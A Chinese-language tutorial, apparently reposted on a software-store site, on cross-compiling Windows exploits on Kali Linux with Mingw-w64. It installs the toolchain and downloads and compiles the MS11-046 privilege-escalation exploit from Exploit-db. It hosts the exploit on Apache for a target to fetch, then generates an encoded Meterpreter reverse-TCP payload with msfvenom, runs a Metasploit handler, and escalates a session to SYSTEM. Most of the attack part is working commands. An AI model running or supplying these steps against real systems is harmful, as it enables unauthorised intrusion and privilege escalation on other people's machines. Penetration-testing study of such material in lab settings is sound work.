当前位置:

首页 > 系统应用 > 在Kali Linux上编译Windows漏洞的方法

在Kali Linux上编译Windows漏洞的方法

## 如何在Kali Linux上编译Windows漏洞 Mingw‑w64 是一个自由、开源的跨平台开发环境,专门用来生成 Windows 应用程序。最初它叫 Mingw32,只支持 32 位架构,后来才扩展到 64 位。本教程要聊的,就是怎么在 Kali Linux 上利用 Mingw‑w64

## 如何在Kali Linux上编译Windows漏洞 Mingw‑w64 是一个自由、开源的跨平台开发环境,专门用来生成 Windows 应用程序。最初它叫 Mingw32,只支持 32 位架构,后来才扩展到 64 位。本教程要聊的,就是怎么在 Kali Linux 上利用 Mingw‑w64 编译 Windows 漏洞利用程序。废话少说,先来安装它。 ### 1、在Kali Linux上安装Mingw-w64 默认情况下,Kali Linux 2016.2 及更早版本是不带 Mingw‑w64 的,所以必须先手动装上才能玩。执行下面两条命令就行: ``` apt-get update apt-get install mingw-w64 ```

在Kali Linux上编译Windows漏洞的方法

看到提示后输入 `y` 确认,接下来就是等待下载和安装完成,时间可能会有点长,视网速而定。 ### 2、无法找到程序包mingw-w64的解决方法 有时候运气不好,安装时会碰到一个尴尬的错误:`E: Unable to locate package mingw-w64`。比如这样: ``` root@kali:~# apt-get install mingw-w64 Reading package lists... Done Building dependency tree Reading state information... Done E: Unable to locate package mingw-w64 ``` 问题多半出在 `sources.list` 文件里——里面的软件源地址不对。用 nano 打开文件: ``` /etc/apt/sources.list ``` 确认里面填的是正确的 Kali 源。不同版本的 Kali 对应的源可以在官方文档找到: [http://docs.kali.org/general-use/kali-linux-sources-list-repositories](http://docs.kali.org/general-use/kali-linux-sources-list-repositories) 改好之后,先 `apt-get update`,再重新运行 `apt-get install mingw-w64`,一般就能顺利装上了。 ### 3、用Mingw-w64交叉编译Windows漏洞利用 装好工具,接下来就是实战。这次我们拿一个经典的漏洞来练手——Windows 7 SP0 x86 上的 CVE‑2011‑1249(MS11‑046)。这个漏洞出在辅助功能驱动(AFD)里,允许已认证的非管理员用户提升权限。虽然 Mingw‑w64 是为 64 位设计的,但照样能编译 32 位的漏洞,正好拿它演示。 先从 Exploit‑db 把漏洞源码下载下来: ``` wget --output-document=40564.c https://www.exploit-db.com/download/40564 ``` 然后交叉编译成 32 位 Windows 可执行文件: ``` i686-w64-mingw32-gcc 40564.c -o exploit.exe -lws2_32 ```

在Kali Linux上编译Windows漏洞的方法

编译完成后,用 Kali 自带的 Apache 把这个 exploit 托管起来,方便目标主机下载。最后两条命令把 exploit 复制到 Apache 根目录并启动服务: ``` cp exploit.exe /var/www/html/ service apache2 start ``` 在目标 Windows 7 上通过 cmd 下载并执行 exploit,效果如下:

在Kali Linux上编译Windows漏洞的方法

注意看 `whoami` 命令的输出:执行 exploit 之前是普通用户,之后变成了 `SYSTEM`。而且这个漏洞利用是在当前 shell 中直接生成一个新的 shell,不是另开窗口,所以从命令行的 Meterpreter 里也能直接跑。 ### 4、利用编译错误 跨平台编译时,错误几乎是家常便饭。原因多种多样:语法问题、缺少库、主机与目标架构不匹配、编译器版本不对等。有些错误改改就行,有些则比较棘手。另外要区分警告和致命错误——警告通常只是提示某些过时的写法,不影响最终利用;致命错误则会阻止编译,必须修复。 处理这些错误的最佳策略是:仔细读报错信息,然后丢到 Google 上搜。绝大多数时候你不是第一个踩坑的人,Stack Overflow 之类的网站已经给出了解决方案,没必要自己重新发明轮子。 ### 5、从Meterpreter shell中利用MS11-046 先用 Msfvenom 快速生成一个 32 位 Windows Meterpreter 反向 TCP 载荷: ``` msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp LHOST=[攻击机IP] LPORT=4444 -e x86/shikata_ga_nai -f exe -o exploit.exe ``` 记得把 `LHOST` 换成你自己的 Kali IP。接着启动 `msfconsole`,配置多处理器: ``` use exploit/multi/handler set lhost [监听IP] set lport 4444 run ```

在Kali Linux上编译Windows漏洞的方法

然后让目标主机下载并执行这个 `exploit.exe`,如果一切顺利,msfconsole 上就会弹回一个 Meterpreter shell:

目标主机连接回Kali

在 Meterpreter 里先输入 `shell` 进入命令行,然后运行之前编译好的权限提升漏洞,shell 级别直接升到 `SYSTEM`:

特权升级攻击通过我们的Meterpreter会话成功执行

注意:这个漏洞是在当前 shell 里生成一个新的 system shell,所以旧 shell 的输出不会显示。你可以输入 `exit` 退出 system shell,返回到之前的用户 shell,就能看到漏洞利用输出的文字:

特权用户shell上的exploit输出

### 学到的东西 通过这个教程,我们掌握了在 Linux 上交叉编译 Windows 漏洞的基本流程:安装 Mingw‑w64、解决常见的源问题、实际编译一个 MS11‑046 漏洞,并在目标主机上成功执行,把普通用户 shell 提升到了 system 级别。同时也知道了,这类漏洞会在当前 shell 内部生成一个新 shell,所以从 Meterpreter 这样的命令行 shell 里也能直接调用。最后,我们还聊了怎么应对编译中遇到的错误——大多数情况搜一搜就能解决。交叉编译并没那么神秘,动手试试就能摸清门道。
本站声明:本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系bd@zhengruan.com
作者最新文章
系统应用 Linux
相关文章 更多
Linux如何开启端口号?开放端口命令详解
Linux如何开启端口号?开放端口命令详解

详细讲解Linux如何开启端口号以及常用的开放端口命令。

crossover卸载软件下载及重新安装教程
crossover卸载软件下载及重新安装教程

遇到CrossOver运行错误或需要更新版本时,如何彻底卸载旧版并干净重装?本教程详解macOS和Linux下的卸载步骤、残留文件清理方法及官方下载渠道,确保软件环境纯净稳定。

查看更多
精品专题 更多
装机必备
装机必备

正软商城装机必备专区,精选办公、浏览器、安全防护、影音播放、压缩解压、设计创作和系统工具等电脑常用正版软件,帮助用户快速完成新电脑软件配置。

Windows
Windows

正软商城Windows软件专区,汇集适用于Windows电脑的办公、设计、安全防护、影音播放、开发工具和系统优化软件,提供软件介绍、系统要求、正版授权及购买下载服务。

PDF教程
PDF教程

正软商城PDF教程频道提供PDF编辑、转换、合并、拆分、压缩及格式处理方法,同时介绍常用PDF软件和工具的使用技巧。

Mac软件 更多
Postman macOS版
Postman macOS版
Mac

Postman是一套面向API全生命周期的开发与测试平台,可在Mac上发送和调试多种协议请求,管理集合、环境及认证信息,并完成脚本测试、模拟服务、监控、文档发布和团队协作。它适合开发、测试及运维人员使用,提供个人免费方案。

Docker Desktop macOS版
Docker Desktop macOS版
Mac

Docker Desktop 是 Docker 官方为 Mac 提供的容器开发环境,集成 Docker Engine、命令行工具、Compose、Build、Kubernetes 与图形化管理界面。

Android Studio macOS版
Android Studio macOS版
Mac

Android Studio 是 Google 面向安卓应用开发提供的官方集成开发环境,基于 IntelliJ IDEA 构建。它整合智能代码编辑、Gradle 构建、界面预览、设备模拟、性能分析、调试测试及 APK 分析等工具。

WINDOWS 更多
PixPix 网页版
PixPix 网页版
Windows

PixPix 是面向品牌、卖家和内容团队的在线 AI 图片视频创作平台,提供图视频 Agent、无限画布、图片生成、视频生成、自然语言编辑及商品套图、产品精修和带货视频等电商工具。

Postman Windows版
Postman Windows版
Windows

Postman 是面向 API 全生命周期的开发与协作平台。Windows 桌面版可用于构建和发送 HTTP、GraphQL、gRPC、WebSocket、MQTT 等请求,并提供环境变量、集合、脚本测试、模拟服务、监控、文档及团队工作区等

Docker Desktop Windows版
Docker Desktop Windows版
Windows

Docker Desktop 为 Windows 开发者提供集成式容器环境,内置 Docker Engine、命令行工具、Compose、Build 与 Kubernetes 等组件,可在本机完成镜像构建、容器运行、日志查看和资源管理。